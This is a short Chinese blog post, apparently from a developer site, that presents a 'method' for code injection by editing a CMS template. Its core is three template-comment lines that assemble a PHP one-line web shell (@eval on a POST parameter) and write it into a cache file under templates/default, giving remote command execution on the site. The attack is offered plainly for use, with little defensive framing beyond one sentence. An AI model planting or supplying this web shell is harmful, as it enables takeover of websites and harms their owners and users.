本文介绍了一种通过编辑模板实现的代码注入攻击方法。该方法利用特定格式的模板注释来构造恶意代码，最终将这段代码写入目标文件中，达到远程执行的目的。此攻击手段对于未妥善验证用户输入的网站构成严重威胁。
方法：
编辑模板的时候写入这几行,拆开写一句话,就行了.
<!--{eval $content = "@eval(\$_POST[c])";}-->
<!--{eval $test1 = "<"."?"."php ".$content."?>";}-->
<!--{eval fputs(fopen(S_ROOT.'./templates/default/model_cache.php','w+'),$test1);}-->
扫一扫
02-23
509
509
05-17
06-23
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
